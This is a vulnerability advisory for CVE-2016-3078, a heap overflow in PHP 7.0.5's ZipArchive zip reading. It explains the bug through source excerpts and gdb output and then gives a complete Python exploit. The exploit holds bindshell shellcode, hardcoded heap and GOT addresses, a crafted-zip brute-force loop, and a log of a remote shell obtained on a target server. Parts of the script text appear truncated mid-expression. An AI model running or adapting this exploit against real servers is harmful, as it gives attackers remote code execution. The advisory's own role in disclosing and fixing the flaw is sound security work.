Details ======= An integer wrap may occur in PHP 7.x before version 7.0.6 when reading zip files with the getFromIndex() and getFromName() methods of ZipArchive, resulting in a heap overflow. php-7.0.5/ext/zip/php_zip.c ,---- | 2679 static void php_zip_get_from(INTERNAL_FUNCTION_PARAMETERS, int type) /* {{{ */ | 2680 { | .... | 2684 struct zip_stat sb; | .... | 2689 zend_long len = 0; | .... | 2692 zend_string *buffer; | .... | 2702 if (type == 1) { | 2703 if (zend_parse_parameters(ZEND_NUM_ARGS(), "P|ll", &filename, &len, &flags) == FAILURE) { | 2704 return; | 2705 } | 2706 PHP_ZIP_STAT_PATH(intern, ZSTR_VAL(filename), ZSTR_LEN(filename), flags, sb); // (1) | 2707 } else { | 2708 if (zend_parse_parameters(ZEND_NUM_ARGS(), "l|ll", &index, &len, &flags) == FAILURE) { | 2709 return; | 2710 } | 2711 PHP_ZIP_STAT_INDEX(intern, index, 0, sb); // (1) | 2712 } | .... | 2718 if (len < 1) { | 2719 len = sb.size; | 2720 } | .... | 2731 buffer = zend_string_alloc(len, 0); // (2) | 2732 n = zip_fread(zf, ZSTR_VAL(buffer), ZSTR_LEN(buffer)); // (3) | .... | 2742 } `---- With `sb.size' from (1) being: php-7.0.5/ext/zip/lib/zip_stat_index.c ,---- | 038 ZIP_EXTERN int | 039 zip_stat_index(zip_t *za, zip_uint64_t index, zip_flags_t flags, | 040 zip_stat_t *st) | 041 { | ... | 043 zip_dirent_t *de; | 044 | 045 if ((de=_zip_get_dirent(za, index, flags, NULL)) == NULL) | 046 return -1; | ... | 063 st->size = de->uncomp_size; | ... | 086 } `---- Both `size' and `uncomp_size' are unsigned 64bit integers: php-7.0.5/ext/zip/lib/zipint.h ,---- | 339 struct zip_dirent { | ... | 351 zip_uint64_t uncomp_size; /* (cl) size of uncompressed data */ | ... | 332 }; `---- php-7.0.5/ext/zip/lib/zip.h ,---- | 279 struct zip_stat { | ... | 283 zip_uint64_t size; /* size of file (uncompressed) */ | ... | 290 }; `---- Whereas `len' is signed and has a platform-dependent size: php-7.0.5/Zend/zend_long.h ,---- | 028 #if defined(__x86_64__) || defined(__LP64__) || defined(_LP64) || defined(_WIN64) | 029 # define ZEND_ENABLE_ZVAL_LONG64 1 | 030 #endif | ... | 033 #ifdef ZEND_ENABLE_ZVAL_LONG64 | 034 typedef int64_t zend_long; | ... | 043 #else | 044 typedef int32_t zend_long; | ... | 053 #endif `---- Uncompressed file sizes in zip-archives may be specified as either 32- or 64bit values; with the latter requiring that the size be specified in the extra field in zip64 mode. Anyway, as for the invocation of `zend_string_alloc()' in (2): php-7.0.5/Zend/zend_string.h ,---- | 119 static zend_always_inline zend_string *zend_string_alloc(size_t len, int persistent) | 120 { | 121 zend_string *ret = (zend_string *)pemalloc(ZEND_MM_ALIGNED_SIZE(_ZSTR_STRUCT_SIZE(len)), persistent); // (4) | ... | 133 ZSTR_LEN(ret) = len; // (5) | 134 return ret; | 135 } `---- The `size' argument to the `pemalloc' macro is aligned/adjusted in (4) whilst the *original* value of `len' is stored as the size of the allocated buffer in (5). No boundary checking is done in (4) and it may thus wrap, which would lead to a heap overflow during the invocation of `zip_fread()' in (3) as the `toread' argument is `ZSTR_LEN(buffer)': php-7.0.5/Zend/zend_string.h ,---- | 041 #define ZSTR_LEN(zstr) (zstr)->len `---- On a 32bit system: ,---- | (gdb) p/x ZEND_MM_ALIGNED_SIZE(_ZSTR_STRUCT_SIZE(0xfffffffe)) | $1 = 0x10 `---- The wraparound may also occur on 64bit systems with `uncomp_size' specified in the extra field (Zip64 mode; ext/zip/lib/zip_dirent.c:463). However, it won't result in a buffer overflow because of `zip_fread()' bailing on a size that would have wrapped the allocation in (4): php-7.0.5/ext/zip/lib/zip_fread.c ,---- | 038 ZIP_EXTERN zip_int64_t | 039 zip_fread(zip_file_t *zf, void *outbuf, zip_uint64_t toread) | 040 { | ... | 049 if (toread > ZIP_INT64_MAX) { | 050 zip_error_set(&zf->error, ZIP_ER_INVAL, 0); | 051 return -1; | 052 } | ... | 063 } `---- php-7.0.5/ext/zip/lib/zipconf.h ,---- | 130 #define ZIP_INT64_MAX 0x7fffffffffffffffLL `---- ,---- | (gdb) p/x ZEND_MM_ALIGNED_SIZE(_ZSTR_STRUCT_SIZE(0x7fffffffffffffff)) | $1 = 0x8000000000000018 `---- PoC === Against Arch Linux i686 with php-fpm 7.0.5 behind nginx [1]: ,---- | $ python exploit.py --bind-port 5555 http://1.2.3.4/upload.php | [*] this may take a while | [*] 103 of 4096 (0x67fd0)... | [+] connected to 1.2.3.4:5555 | | id | uid=33(http) gid=33(http) groups=33(http) | | uname -a | Linux arch32 4.5.1-1-ARCH #1 SMP PREEMPT Thu Apr 14 19:36:01 CEST | 2016 i686 GNU/Linux | | pacman -Qs php-fpm | local/php-fpm 7.0.5-2 | FastCGI Process Manager for PHP | | cat upload.php | open($_FILES["file"]["tmp_name"]) !== TRUE) { | echo "cannot open archive\n"; | } else { | for ($i = 0; $i < $zip->numFiles; $i++) { | $data = $zip->getFromIndex($i); | } | $zip->close(); | } | ?> `---- Solution ======== This issue has been fixed in php 7.0.6. Footnotes _________ [1] [https://github.com/dyntopia/exploits/tree/master/CVE-2016-3078] -- Hans Jerry Illikainen exploit.py: #!/usr/bin/env python2 # # PoC for CVE-2016-3078 targeting Arch Linux i686 running php-fpm 7.0.5 # behind nginx. # # ,---- # | $ python exploit.py --bind-port 5555 http://1.2.3.4/upload.php # | [*] this may take a while # | [*] 103 of 4096 (0x67fd0)... # | [+] connected to 1.2.3.4:5555 # | # | id # | uid=33(http) gid=33(http) groups=33(http) # | # | uname -a # | Linux arch32 4.5.1-1-ARCH #1 SMP PREEMPT Thu Apr 14 19:36:01 CEST # | 2016 i686 GNU/Linux # | # | pacman -Qs php-fpm # | local/php-fpm 7.0.5-2 # | FastCGI Process Manager for PHP # | # | cat upload.php # | open($_FILES["file"]["tmp_name"]) !== TRUE) { # | echo "cannot open archive\n"; # | } else { # | for ($i = 0; $i < $zip->numFiles; $i++) { # | $data = $zip->getFromIndex($i); # | } # | $zip->close(); # | } # | ?> # `---- # # - Hans Jerry Illikainen # import os import sys import argparse import socket import urlparse import collections from struct import pack from binascii import crc32 import requests # bindshell from PEDA shellcode = [ "\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x99\x89\xe1\xcd\x80\x96" "\x43\x52\x66\x68%(port)s\x66\x53\x89\xe1\x6a\x66\x58\x50\x51\x56" "\x89\xe1\xcd\x80\xb0\x66\xd1\xe3\xcd\x80\x52\x52\x56\x43\x89\xe1" "\xb0\x66\xcd\x80\x93\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0" "\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53" "\x89\xe1\xcd\x80" ] # 100k runs had the zend_mm_heap mapped at 0xb6a00040 ~53.333% and at # 0xb6c00040 ~46.667% of the time. zend_mm_heap = [0xb6a00040, 0xb6c00040] # offset to the payload from the zend heap zend_mm_heap_offset = "0x%xfd0" # Zend/zend_alloc_sizes.h zend_mm_max_small_size = 3072 # exit() R_386_JUMP_SLOT = 0x08960a48 ZipEntry = collections.namedtuple("ZipEntry", "name, data, size") def zip_file_header(fname, data, size): return "".join([ pack(" zend_mm_max_small_size: sys.exit("[-] shellcode is too big") size = 0xfffffffe length = 256 entries = [ZipEntry("shellcode", shellcode, zend_mm_max_small_size)] for i in range(16): data = "A" * length if i == 0: data = pack("H", port) if "\x00" in p: sys.exit("[-] encode your NUL-bytes") return "".join(shellcode) % {"port": p} def get_args(): p = argparse.ArgumentParser() p.add_argument("--tries", type=int, default=4096) p.add_argument("--bind-port", type=int, default=8000) p.add_argument("url", help="POST url") return p.parse_args() def main(): args = get_args() shellcode = get_shellcode(args.bind_port) host = urlparse.urlparse(args.url).netloc.split(":")[0] print("[*] this may take a while") for i in range(args.tries): offset = int(zend_mm_heap_offset % i, 16) sys.stdout.write("\r[*] %d of %d (0x%x)..." % (i, args.tries, offset)) sys.stdout.flush() for heap in zend_mm_heap: archive = zip_create(zip_entries(heap + offset, shellcode)) if zip_send(args.url, archive) == 404: sys.exit("\n[-] 404: %s" % args.url) connect(host, args.bind_port) print("\n[-] nope...") if __name__ == "__main__": main()